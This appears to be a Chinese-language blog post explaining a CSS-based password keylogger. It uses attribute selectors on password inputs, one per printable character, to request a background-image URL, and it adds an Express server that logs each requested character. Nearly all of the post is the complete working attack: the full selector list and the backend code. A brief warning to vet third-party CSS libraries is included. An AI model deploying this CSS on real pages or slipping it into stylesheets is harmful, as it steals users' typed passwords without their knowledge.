CSS攻击:记录用户密码
简介
css是HTML修饰样式用的,但是也能成为一些攻击者的工具,下面简单介绍一下如何使用CSS去记录用户的密码。但是这些CSS脚本会出现在第三方CSS库中,所以使用第三方CSS库也需要谨慎,确保代码安全。下面是简单的css漏洞
代码
直接上代码解析:
input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); }
input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); }
input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); }
input[type="password"]是css选择器,作用是选择密码输入框,[value$="0"]表示匹配输入的值是以0结尾的。
如果你在密码框中输入0,就去请求http://localhost:3000/0接口,但是浏览器默认情况下是不会将用户输入的值存储在value属性中,但是有的框架会同步这些值,例如React。所以只要使用了如下图的脚本就能去存储用户的输入数据信息。
下面是CSS代码
input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } input[type="password"][value$="!"] { background-image: url("http://localhost:3000/%21"); } input[type="password"][value$="\""] { background-image: url("http://localhost:3000/%22"); } input[type="password"][value$="#"] { background-image: url("http://localhost:3000/%23"); } input[type="password"][value$="$"] { background-image: url("http://localhost:3000/%24"); } input[type="password"][value$="%"] { background-image: url("http://localhost:3000/%25"); } input[type="password"][value$="&"] { background-image: url("http://localhost:3000/%26"); } input[type="password"][value$="'"] { background-image: url("http://localhost:3000/%27"); } input[type="password"][value$="("] { background-image: url("http://localhost:3000/%28"); } input[type="password"][value$=")"] { background-image: url("http://localhost:3000/%29"); } input[type="password"][value$="*"] { background-image: url("http://localhost:3000/%2A"); } input[type="password"][value$="+"] { background-image: url("http://localhost:3000/%2B"); } input[type="password"][value$=","] { background-image: url("http://localhost:3000/%2C"); } input[type="password"][value$="-"] { background-image: url("http://localhost:3000/-"); } input[type="password"][value$="."] { background-image: url("http://localhost:3000/."); } input[type="password"][value$="/"] { background-image: url("http://localhost:3000/%2F"); } input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); } input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); } input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); } input[type="password"][value$="3"] { background-image: url("http://localhost:3000/3"); } input[type="password"][value$="4"] { background-image: url("http://localhost:3000/4"); } input[type="password"][value$="5"] { background-image: url("http://localhost:3000/5"); } input[type="password"][value$="6"] { background-image: url("http://localhost:3000/6"); } input[type="password"][value$="7"] { background-image: url("http://localhost:3000/7"); } input[type="password"][value$="8"] { background-image: url("http://localhost:3000/8"); } input[type="password"][value$="9"] { background-image: url("http://localhost:3000/9"); } input[type="password"][value$=":"] { background-image: url("http://localhost:3000/%3A"); } input[type="password"][value$=";"] { background-image: url("http://localhost:3000/%3B"); } input[type="password"][value$="<"] { background-image: url("http://localhost:3000/%3C"); } input[type="password"][value$="="] { background-image: url("http://localhost:3000/%3D"); } input[type="password"][value$=">"] { background-image: url("http://localhost:3000/%3E"); } input[type="password"][value$="?"] { background-image: url("http://localhost:3000/%3F"); } input[type="password"][value$="@"] { background-image: url("http://localhost:3000/%40"); } input[type="password"][value$="A"] { background-image: url("http://localhost:3000/A"); } input[type="password"][value$="B"] { background-image: url("http://localhost:3000/B"); } input[type="password"][value$="C"] { background-image: url("http://localhost:3000/C"); } input[type="password"][value$="D"] { background-image: url("http://localhost:3000/D"); } input[type="password"][value$="E"] { background-image: url("http://localhost:3000/E"); } input[type="password"][value$="F"] { background-image: url("http://localhost:3000/F"); } input[type="password"][value$="G"] { background-image: url("http://localhost:3000/G"); } input[type="password"][value$="H"] { background-image: url("http://localhost:3000/H"); } input[type="password"][value$="I"] { background-image: url("http://localhost:3000/I"); } input[type="password"][value$="J"] { background-image: url("http://localhost:3000/J"); } input[type="password"][value$="K"] { background-image: url("http://localhost:3000/K"); } input[type="password"][value$="L"] { background-image: url("http://localhost:3000/L"); } input[type="password"][value$="M"] { background-image: url("http://localhost:3000/M"); } input[type="password"][value$="N"] { background-image: url("http://localhost:3000/N"); } input[type="password"][value$="O"] { background-image: url("http://localhost:3000/O"); } input[type="password"][value$="P"] { background-image: url("http://localhost:3000/P"); } input[type="password"][value$="Q"] { background-image: url("http://localhost:3000/Q"); } input[type="password"][value$="R"] { background-image: url("http://localhost:3000/R"); } input[type="password"][value$="S"] { background-image: url("http://localhost:3000/S"); } input[type="password"][value$="T"] { background-image: url("http://localhost:3000/T"); } input[type="password"][value$="U"] { background-image: url("http://localhost:3000/U"); } input[type="password"][value$="V"] { background-image: url("http://localhost:3000/V"); } input[type="password"][value$="W"] { background-image: url("http://localhost:3000/W"); } input[type="password"][value$="X"] { background-image: url("http://localhost:3000/X"); } input[type="password"][value$="Y"] { background-image: url("http://localhost:3000/Y"); } input[type="password"][value$="Z"] { background-image: url("http://localhost:3000/Z"); } input[type="password"][value$="["] { background-image: url("http://localhost:3000/%5B"); } input[type="password"][value$="\\"] { background-image: url("http://localhost:3000/%5C"); } input[type="password"][value$="]"] { background-image: url("http://localhost:3000/%5D"); } input[type="password"][value$="^"] { background-image: url("http://localhost:3000/%5E"); } input[type="password"][value$="_"] { background-image: url("http://localhost:3000/_"); } input[type="password"][value$="`"] { background-image: url("http://localhost:3000/%60"); } input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); } input[type="password"][value$="c"] { background-image: url("http://localhost:3000/c"); } input[type="password"][value$="d"] { background-image: url("http://localhost:3000/d"); } input[type="password"][value$="e"] { background-image: url("http://localhost:3000/e"); } input[type="password"][value$="f"] { background-image: url("http://localhost:3000/f"); } input[type="password"][value$="g"] { background-image: url("http://localhost:3000/g"); } input[type="password"][value$="h"] { background-image: url("http://localhost:3000/h"); } input[type="password"][value$="i"] { background-image: url("http://localhost:3000/i"); } input[type="password"][value$="j"] { background-image: url("http://localhost:3000/j"); } input[type="password"][value$="k"] { background-image: url("http://localhost:3000/k"); } input[type="password"][value$="l"] { background-image: url("http://localhost:3000/l"); } input[type="password"][value$="m"] { background-image: url("http://localhost:3000/m"); } input[type="password"][value$="n"] { background-image: url("http://localhost:3000/n"); } input[type="password"][value$="o"] { background-image: url("http://localhost:3000/o"); } input[type="password"][value$="p"] { background-image: url("http://localhost:3000/p"); } input[type="password"][value$="q"] { background-image: url("http://localhost:3000/q"); } input[type="password"][value$="r"] { background-image: url("http://localhost:3000/r"); } input[type="password"][value$="s"] { background-image: url("http://localhost:3000/s"); } input[type="password"][value$="t"] { background-image: url("http://localhost:3000/t"); } input[type="password"][value$="u"] { background-image: url("http://localhost:3000/u"); } input[type="password"][value$="v"] { background-image: url("http://localhost:3000/v"); } input[type="password"][value$="w"] { background-image: url("http://localhost:3000/w"); } input[type="password"][value$="x"] { background-image: url("http://localhost:3000/x"); } input[type="password"][value$="y"] { background-image: url("http://localhost:3000/y"); } input[type="password"][value$="z"] { background-image: url("http://localhost:3000/z"); } input[type="password"][value$="{"] { background-image: url("http://localhost:3000/%7B"); } input[type="password"][value$="|"] { background-image: url("http://localhost:3000/%7C"); } input[type="password"][value$="\\}"] { background-image: url("http://localhost:3000/%7D"); } input[type="password"][value$="~"] { background-image: url("http://localhost:3000/~"); } input[type="password"][value$=""] { background-image: url("http://localhost:3000/%7F"); }
后端代码
const express = require("express"); const app = express(); app.get("/:key", (req, res) => { process.stdout.write(req.params.key); return res.sendStatus(400); }); app.listen(3000, () => console.log("> Ready to keylog at localhost:3000"));
用express创建服务器,监听3000端口,只要请求http://localhost:3000/:key,就能输出key的值,就能在服务器上记录输入的值。所以只要在每输入一个值都匹配,然后通过 background-image 去请求一个已经准备好的接口,就能记录用户的输入。
也曾想仗剑走天涯,后来因为Bug多就没去……